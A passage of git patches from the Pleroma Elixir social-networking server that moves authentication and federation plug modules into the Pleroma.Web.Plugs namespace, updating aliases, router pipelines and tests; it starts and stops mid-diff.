maybe_require_signature(conn) do + if Pleroma.Config.get([:activitypub, :authorized_fetch_mode], false) do + conn + |> put_status(:unauthorized) + |> text("Request not signed") + |> halt() + else + conn + end + end +end -- cgit v1.2.3 From 8c993c5f6322c09c8b88e62aa23865648aab3690 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:41:09 +0300 Subject: FederatingPlug module name --- lib/pleroma/web/activity_pub/activity_pub_controller.ex | 2 +- lib/pleroma/web/o_status/o_status_controller.ex | 2 +- lib/pleroma/web/plugs/federating_plug.ex | 2 +- lib/pleroma/web/static_fe/static_fe_controller.ex | 2 +- lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex | 2 +- lib/pleroma/web/twitter_api/controllers/util_controller.ex | 2 +- lib/pleroma/web/web_finger/web_finger_controller.ex | 2 +- test/pleroma/web/plugs/federating_plug_test.exs | 4 ++-- 8 files changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 732c44271..5de51c0c7 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -23,7 +23,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.ControllerHelper alias Pleroma.Web.Endpoint - alias Pleroma.Web.FederatingPlug + alias Pleroma.Web.Plugs.FederatingPlug alias Pleroma.Web.Federator require Logger diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index 5bd767c96..f6069e4f3 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -17,7 +17,7 @@ defmodule Pleroma.Web.OStatus.OStatusController do alias Pleroma.Web.Router plug(Pleroma.Plugs.EnsureAuthenticatedPlug, - unless_func: &Pleroma.Web.FederatingPlug.federating?/1 + unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 ) plug( diff --git a/lib/pleroma/web/plugs/federating_plug.ex b/lib/pleroma/web/plugs/federating_plug.ex index 09038f3c6..3c90a7644 100644 --- a/lib/pleroma/web/plugs/federating_plug.ex +++ b/lib/pleroma/web/plugs/federating_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Web.FederatingPlug do +defmodule Pleroma.Web.Plugs.FederatingPlug do import Plug.Conn def init(options) do diff --git a/lib/pleroma/web/static_fe/static_fe_controller.ex b/lib/pleroma/web/static_fe/static_fe_controller.ex index a7a891b13..cc408ab5c 100644 --- a/lib/pleroma/web/static_fe/static_fe_controller.ex +++ b/lib/pleroma/web/static_fe/static_fe_controller.ex @@ -18,7 +18,7 @@ defmodule Pleroma.Web.StaticFE.StaticFEController do plug(:assign_id) plug(Pleroma.Plugs.EnsureAuthenticatedPlug, - unless_func: &Pleroma.Web.FederatingPlug.federating?/1 + unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 ) @page_keys ["max_id", "min_id", "limit", "since_id", "order"] diff --git a/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex b/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex index 0e39f2812..4480a4922 100644 --- a/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex @@ -17,7 +17,7 @@ defmodule Pleroma.Web.TwitterAPI.RemoteFollowController do @status_types ["Article", "Event", "Note", "Video", "Page", "Question"] - plug(Pleroma.Web.FederatingPlug) + plug(Pleroma.Web.Plugs.FederatingPlug) # Note: follower can submit the form (with password auth) not being signed in (having no token) plug( diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index db5684a91..f97bd4823 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -16,7 +16,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do alias Pleroma.Web.CommonAPI alias Pleroma.Web.WebFinger - plug(Pleroma.Web.FederatingPlug when action == :remote_subscribe) + plug(Pleroma.Web.Plugs.FederatingPlug when action == :remote_subscribe) plug( OAuthScopesPlug, diff --git a/lib/pleroma/web/web_finger/web_finger_controller.ex b/lib/pleroma/web/web_finger/web_finger_controller.ex index 14cb87df8..9f0938fc0 100644 --- a/lib/pleroma/web/web_finger/web_finger_controller.ex +++ b/lib/pleroma/web/web_finger/web_finger_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.WebFinger.WebFingerController do alias Pleroma.Web.WebFinger plug(Pleroma.Web.Plugs.SetFormatPlug) - plug(Pleroma.Web.FederatingPlug) + plug(Pleroma.Web.Plugs.FederatingPlug) def host_meta(conn, _params) do xml = WebFinger.host_meta() diff --git a/test/pleroma/web/plugs/federating_plug_test.exs b/test/pleroma/web/plugs/federating_plug_test.exs index a39fe8adb..a4652f6c5 100644 --- a/test/pleroma/web/plugs/federating_plug_test.exs +++ b/test/pleroma/web/plugs/federating_plug_test.exs @@ -12,7 +12,7 @@ test "returns and halt the conn when federating is disabled" do conn = build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) + |> Pleroma.Web.Plugs.FederatingPlug.call(%{}) assert conn.status == 404 assert conn.halted @@ -23,7 +23,7 @@ test "does nothing when federating is enabled" do conn = build_conn() - |> Pleroma.Web.FederatingPlug.call(%{}) + |> Pleroma.Web.Plugs.FederatingPlug.call(%{}) refute conn.status refute conn.halted -- cgit v1.2.3 From 99e4ed21b19d989112cf26141c3f87f9fe12b72b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:43:19 +0300 Subject: ExpectPublicOrAuthenticatedCheckPlug module name --- lib/pleroma/web.ex | 2 +- lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/plug_helper_test.exs | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex index 96fe4fdc6..4056d161d 100644 --- a/lib/pleroma/web.ex +++ b/lib/pleroma/web.ex @@ -23,7 +23,7 @@ defmodule Pleroma.Web do alias Pleroma.Plugs.EnsureAuthenticatedPlug alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug - alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug + alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper diff --git a/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex b/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex index ba0ef76bd..d1b66efae 100644 --- a/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex +++ b/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug do +defmodule Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug do @moduledoc """ Marks `Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug` as expected to be executed later in plug chain. diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index ca9b65ac6..ed22158bc 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -21,7 +21,7 @@ defmodule Pleroma.Web.Router do end pipeline :expect_public_instance_or_authentication do - plug(Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug) + plug(Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug) end pipeline :authenticate do diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs index 6febd4388..adb0bb111 100644 --- a/test/pleroma/web/plugs/plug_helper_test.exs +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.PlugHelperTest do @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug - alias Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug + alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Web.Plugs.PlugHelper import Mock -- cgit v1.2.3 From d6cb1a3b4627b40b9d347e4b05d0589e3a584166 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:44:50 +0300 Subject: ExpectAuthenticatedCheckPlug module name --- lib/pleroma/web.ex | 2 +- lib/pleroma/web/plugs/expect_authenticated_check_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/plug_helper_test.exs | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex index 4056d161d..34656c953 100644 --- a/lib/pleroma/web.ex +++ b/lib/pleroma/web.ex @@ -22,7 +22,7 @@ defmodule Pleroma.Web do alias Pleroma.Plugs.EnsureAuthenticatedPlug alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug + alias Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.PlugHelper diff --git a/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex b/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex index 66b8d5de5..1fa742717 100644 --- a/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex +++ b/lib/pleroma/web/plugs/expect_authenticated_check_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.ExpectAuthenticatedCheckPlug do +defmodule Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug do @moduledoc """ Marks `Pleroma.Plugs.EnsureAuthenticatedPlug` as expected to be executed later in plug chain. diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index ed22158bc..b9d8c4845 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -17,7 +17,7 @@ defmodule Pleroma.Web.Router do end pipeline :expect_authentication do - plug(Pleroma.Plugs.ExpectAuthenticatedCheckPlug) + plug(Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug) end pipeline :expect_public_instance_or_authentication do diff --git a/test/pleroma/web/plugs/plug_helper_test.exs b/test/pleroma/web/plugs/plug_helper_test.exs index adb0bb111..670d699f0 100644 --- a/test/pleroma/web/plugs/plug_helper_test.exs +++ b/test/pleroma/web/plugs/plug_helper_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.PlugHelperTest do @moduledoc "Tests for the functionality added via `use Pleroma.Web, :plug`" - alias Pleroma.Plugs.ExpectAuthenticatedCheckPlug + alias Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Web.Plugs.PlugHelper -- cgit v1.2.3 From 8e301a4c37543f819f659b89b20673141f1e9b75 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:49:18 +0300 Subject: EnsureUserKeyPlug module name --- lib/pleroma/web/plugs/ensure_user_key_plug.ex | 2 +- lib/pleroma/web/router.ex | 4 ++-- test/pleroma/web/plugs/ensure_user_key_plug_test.exs | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web/plugs/ensure_user_key_plug.ex b/lib/pleroma/web/plugs/ensure_user_key_plug.ex index 9795cdbde..70d3091f0 100644 --- a/lib/pleroma/web/plugs/ensure_user_key_plug.ex +++ b/lib/pleroma/web/plugs/ensure_user_key_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.EnsureUserKeyPlug do +defmodule Pleroma.Web.Plugs.EnsureUserKeyPlug do import Plug.Conn def init(opts) do diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index b9d8c4845..6dc7a777b 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -36,7 +36,7 @@ defmodule Pleroma.Web.Router do pipeline :after_auth do plug(Pleroma.Web.Plugs.UserEnabledPlug) plug(Pleroma.Web.Plugs.SetUserSessionIdPlug) - plug(Pleroma.Plugs.EnsureUserKeyPlug) + plug(Pleroma.Web.Plugs.EnsureUserKeyPlug) end pipeline :base_api do @@ -80,7 +80,7 @@ defmodule Pleroma.Web.Router do pipeline :pleroma_html do plug(:browser) plug(:authenticate) - plug(Pleroma.Plugs.EnsureUserKeyPlug) + plug(Pleroma.Web.Plugs.EnsureUserKeyPlug) end pipeline :well_known do diff --git a/test/pleroma/web/plugs/ensure_user_key_plug_test.exs b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs index 474510101..f912ef755 100644 --- a/test/pleroma/web/plugs/ensure_user_key_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_user_key_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.EnsureUserKeyPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.EnsureUserKeyPlug + alias Pleroma.Web.Plugs.EnsureUserKeyPlug test "if the conn has a user key set, it does nothing", %{conn: conn} do conn = -- cgit v1.2.3 From 011525a3d1260ec6814c36bb08feb4cbd3116d4a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:53:10 +0300 Subject: EnsurePublicOrAuthenticatedPlug module name --- lib/pleroma/tests/auth_test_controller.ex | 2 +- lib/pleroma/web.ex | 2 +- lib/pleroma/web/masto_fe_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/account_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/app_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/instance_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex | 2 +- lib/pleroma/web/mastodon_api/controllers/status_controller.ex | 6 +++++- lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex | 2 +- lib/pleroma/web/o_auth/o_auth_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/account_controller.ex | 2 +- lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex | 2 +- lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex | 2 +- lib/pleroma/web/twitter_api/controller.ex | 2 +- test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs | 2 +- 16 files changed, 20 insertions(+), 16 deletions(-) diff --git a/lib/pleroma/tests/auth_test_controller.ex b/lib/pleroma/tests/auth_test_controller.ex index 296cae522..320df7e5a 100644 --- a/lib/pleroma/tests/auth_test_controller.ex +++ b/lib/pleroma/tests/auth_test_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Tests.AuthTestController do use Pleroma.Web, :controller - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex index 34656c953..667ef67a8 100644 --- a/lib/pleroma/web.ex +++ b/lib/pleroma/web.ex @@ -21,7 +21,7 @@ defmodule Pleroma.Web do """ alias Pleroma.Plugs.EnsureAuthenticatedPlug - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug alias Pleroma.Web.Plugs.OAuthScopesPlug diff --git a/lib/pleroma/web/masto_fe_controller.ex b/lib/pleroma/web/masto_fe_controller.ex index 6e348db14..8d99f8907 100644 --- a/lib/pleroma/web/masto_fe_controller.ex +++ b/lib/pleroma/web/masto_fe_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.MastoFEController do use Pleroma.Web, :controller - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex index 518fa775c..1c8199504 100644 --- a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -15,7 +15,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountController do ] alias Pleroma.Maps - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User diff --git a/lib/pleroma/web/mastodon_api/controllers/app_controller.ex b/lib/pleroma/web/mastodon_api/controllers/app_controller.ex index 098859cd3..ed2f92fa6 100644 --- a/lib/pleroma/web/mastodon_api/controllers/app_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/app_controller.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.MastodonAPI.AppController do use Pleroma.Web, :controller - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Repo alias Pleroma.Web.OAuth.App diff --git a/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex b/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex index 29f1fdb9a..872cb1f4d 100644 --- a/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.MastodonAPI.CustomEmojiController do plug( :skip_plug, - [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] + [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug] when action == :index ) diff --git a/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex b/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex index 1280f10cb..07a32491a 100644 --- a/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/instance_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.MastodonAPI.InstanceController do plug( :skip_plug, - [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] + [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug] when action in [:show, :peers] ) diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 12c99d8c8..9cf682c7b 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -17,7 +17,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do plug( :skip_plug, - [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug] + [Pleroma.Web.Plugs.OAuthScopesPlug, Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug] when action in [:empty_array, :empty_object] ) diff --git a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex index c160ac27d..ec2605022 100644 --- a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex @@ -25,7 +25,11 @@ defmodule Pleroma.Web.MastodonAPI.StatusController do alias Pleroma.Web.MastodonAPI.ScheduledActivityView plug(Pleroma.Web.ApiSpec.CastAndValidate) - plug(:skip_plug, Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug when action in [:index, :show]) + + plug( + :skip_plug, + Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug when action in [:index, :show] + ) @unauthenticated_access %{fallback: :proceed_unauthenticated, scopes: []} diff --git a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex index 74a4bf689..834452dd6 100644 --- a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Web.MastodonAPI.TimelineController do alias Pleroma.Config alias Pleroma.Pagination - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User diff --git a/lib/pleroma/web/o_auth/o_auth_controller.ex b/lib/pleroma/web/o_auth/o_auth_controller.ex index 65a2aa91b..782617021 100644 --- a/lib/pleroma/web/o_auth/o_auth_controller.ex +++ b/lib/pleroma/web/o_auth/o_auth_controller.ex @@ -33,7 +33,7 @@ defmodule Pleroma.Web.OAuth.OAuthController do plug(:skip_plug, [ Pleroma.Web.Plugs.OAuthScopesPlug, - Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug ]) plug(RateLimiter, [name: :authentication] when action == :create_authorization) diff --git a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex index 8b9cf410f..90c63b4f5 100644 --- a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.PleromaAPI.AccountController do import Pleroma.Web.ControllerHelper, only: [json_response: 3, add_link_headers: 2, assign_account_by_id: 2] - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User diff --git a/lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex b/lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex index 7265bb87a..3bebdac6d 100644 --- a/lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex +++ b/lib/pleroma/web/plugs/ensure_public_or_authenticated_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug do +defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug do import Pleroma.Web.TranslationHelpers import Plug.Conn diff --git a/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex b/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex index d1b66efae..ace512a78 100644 --- a/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex +++ b/lib/pleroma/web/plugs/expect_public_or_authenticated_check_plug.ex @@ -4,7 +4,7 @@ defmodule Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug do @moduledoc """ - Marks `Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug` as expected to be executed later in plug + Marks `Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug` as expected to be executed later in plug chain. No-op plug which affects `Pleroma.Web` operation (is checked with `PlugHelper.plug_called?/2`). diff --git a/lib/pleroma/web/twitter_api/controller.ex b/lib/pleroma/web/twitter_api/controller.ex index 429d8013b..dc9c41f16 100644 --- a/lib/pleroma/web/twitter_api/controller.ex +++ b/lib/pleroma/web/twitter_api/controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do use Pleroma.Web, :controller alias Pleroma.Notification - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.OAuth.Token diff --git a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs index 9cd5bc715..a73175fa6 100644 --- a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs +++ b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlugTest do use Pleroma.Web.ConnCase, async: true alias Pleroma.Config - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.User setup do: clear_config([:instance, :public]) -- cgit v1.2.3 From c6baa811d69f25879ca77d0a25b527baec60d42e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 10:55:56 +0300 Subject: EnsureAuthenticatedPlug module name --- lib/pleroma/web.ex | 2 +- lib/pleroma/web/activity_pub/activity_pub_controller.ex | 2 +- lib/pleroma/web/feed/user_controller.ex | 2 +- lib/pleroma/web/o_status/o_status_controller.ex | 2 +- lib/pleroma/web/plugs/ensure_authenticated_plug.ex | 2 +- lib/pleroma/web/plugs/expect_authenticated_check_plug.ex | 2 +- lib/pleroma/web/router.ex | 4 ++-- lib/pleroma/web/static_fe/static_fe_controller.ex | 2 +- test/pleroma/web/plugs/ensure_authenticated_plug_test.exs | 2 +- 9 files changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex index 667ef67a8..7779826e3 100644 --- a/lib/pleroma/web.ex +++ b/lib/pleroma/web.ex @@ -20,7 +20,7 @@ defmodule Pleroma.Web do below. """ - alias Pleroma.Plugs.EnsureAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug alias Pleroma.Web.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Web.Plugs.ExpectAuthenticatedCheckPlug alias Pleroma.Web.Plugs.ExpectPublicOrAuthenticatedCheckPlug diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 5de51c0c7..4bdb2e38b 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do alias Pleroma.Delivery alias Pleroma.Object alias Pleroma.Object.Fetcher - alias Pleroma.Plugs.EnsureAuthenticatedPlug + alias Pleroma.Web.Plugs.EnsureAuthenticatedPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Builder diff --git a/lib/pleroma/web/feed/user_controller.ex b/lib/pleroma/web/feed/user_controller.ex index 6aad6af44..1ecb8fda6 100644 --- a/lib/pleroma/web/feed/user_controller.ex +++ b/lib/pleroma/web/feed/user_controller.ex @@ -23,7 +23,7 @@ def feed_redirect(%{assigns: %{format: "html"}} = conn, %{"nickname" => nickname def feed_redirect(%{assigns: %{format: format}} = conn, _params) when format in ["json", "activity+json"] do with %{halted: false} = conn <- - Pleroma.Plugs.EnsureAuthenticatedPlug.call(conn, + Pleroma.Web.Plugs.EnsureAuthenticatedPlug.call(conn, unless_func: &Pleroma.Web.FederatingPlug.federating?/1 ) do ActivityPubController.call(conn, :user) diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index f6069e4f3..b058200f1 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -16,7 +16,7 @@ defmodule Pleroma.Web.OStatus.OStatusController do alias Pleroma.Web.Metadata.PlayerView alias Pleroma.Web.Router - plug(Pleroma.Plugs.EnsureAuthenticatedPlug, + plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug, unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 ) diff --git a/lib/pleroma/web/plugs/ensure_authenticated_plug.ex b/lib/pleroma/web/plugs/ensure_authenticated_plug.ex index 3fe550806..ea2af6881 100644 --- 